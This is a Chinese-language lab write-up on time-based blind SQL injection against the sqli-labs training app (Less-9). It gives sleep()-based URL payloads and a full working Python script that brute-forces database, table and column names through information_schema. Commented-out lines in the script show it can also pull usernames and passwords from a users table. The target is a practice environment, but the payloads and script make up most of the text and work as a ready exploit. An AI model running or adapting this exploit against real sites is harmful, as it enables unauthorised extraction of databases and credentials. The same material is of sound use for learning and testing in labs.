0x01. Mysql语法
len(str)函数
返回字符串str的长度
if(a,b,c)函数
如果a为true
,返回b,否则返回c
sleep(second)函数
延时second秒返回结果
0x02. 单次查询
例如Less9的payload之一如下:
http://localhost:8088/sqlilabs/Less-9/?id=1' and if(ascii(mid(database(),1,1))=65,sleep(1),0)--+
若数据库名的第一个字符的ASCII等于65,response立即返回。
依次增加判断条件中的ASCII值,直到response延迟1秒钟返回,便可得出数据库名的第一个字符。
可以用这种方式依次得出现有数据库的所有字符,连接可得数据库的完整名称。
因为二分法使用大于或小于查找,所以延迟的时间累加起来比穷举法延迟一次加上所有request-response损耗的时间还长,一般采用穷举法跑Time盲注脚本。
也可以根据字母频率设置穷举的顺序,这里就不介绍。
若考虑可重复代码,可以用information_schema
数据库中schemata
、tables
、columns
表及其中的字段来注入,如:
http://localhost:8088/sqlilabs/Less-9/?id=1' and if(ascii(mid((select schema_name from information_schema.schemata limit 0,1),1,1))=65,sleep(1),0)--+
查询表名和字段名原理相同,选择恰当的查询语句即可。
0x03. Python脚本
import sys
import time
import requests
def getPayload(result_index, char_index, ascii):
# 系统表中数据
info_database_name = "information_schema"
info_table_name = "schemata" # schemata / tables / columns
info_column_name = "schema_name" # schema_name / table_name / column_name
# 注入表中数据
database_name = "security"
table_name = "users"
column_name = ["id","username","password"]
# 附加url
start_str = "1' and "
end_str = "--+"
# 连接select
where_str = ""
#where_str = " where table_schema='"+database_name+"'"+" and table_name='"+table_name+"'"
select_str = "select "+info_column_name+" from "+info_database_name+"."+info_table_name+where_str+" limit "+str(result_index)+",1"
#select_str = "select concat_ws('-',"+column_name[0]+","+column_name[1]+","+column_name[2]+") from "+table_name+" limit "+str(result_index)+",1"
# 连接payload
sqli_str = "if(ascii(mid(("+select_str+"),"+str(char_index)+",1))="+str(ascii)+",sleep(0.2),0)"
payload = start_str + sqli_str + end_str
return payload
def execute(result_index, char_index, ascii):
# 连接url
url = "http://localhost:8088/sqlilabs/Less-9/?id="
exec_url = url + getPayload(result_index, char_index, ascii)
#print(exec_url)
# 检查延时
before_time = time.time()
requests.head(exec_url) # 节约时间
after_time = time.time()
use_time = after_time - before_time
if use_time > 0.1:
return True
else:
return False
def exhaustive(result_index, char_index):
# ascii可显字符从32到126共95个 按可能性顺序
ascii_list = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','_','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',' ','!','"','#','$','%','&','\'','(',')','*','+',',','-','.','/','0','1','2','3','4','5','6','7','8','9',':',';','<','=','>','?','@','[','\\',']','^','`','{','|','}','~']
for ascii_char in ascii_list:
ascii = ord(ascii_char)
if execute(str(result_index), str(char_index+1), str(ascii)):
return ascii_char
return chr(1)
if __name__ == "__main__":
for num in range(32): # 查询结果的数量
count = 0
for len in range(32): # 单条查询结果的长度
count += 1
char = exhaustive(num, len)
if ord(char) == 1: # 单条查询结果已被遍历
break
sys.stdout.write(char)
sys.stdout.flush()
if count == 1: # 查询结果已被遍历
break
sys.stdout.write("\r\n")
sys.stdout.flush()
0x04. 吐槽
Time盲注果然比Bool慢好多啊…
sigh…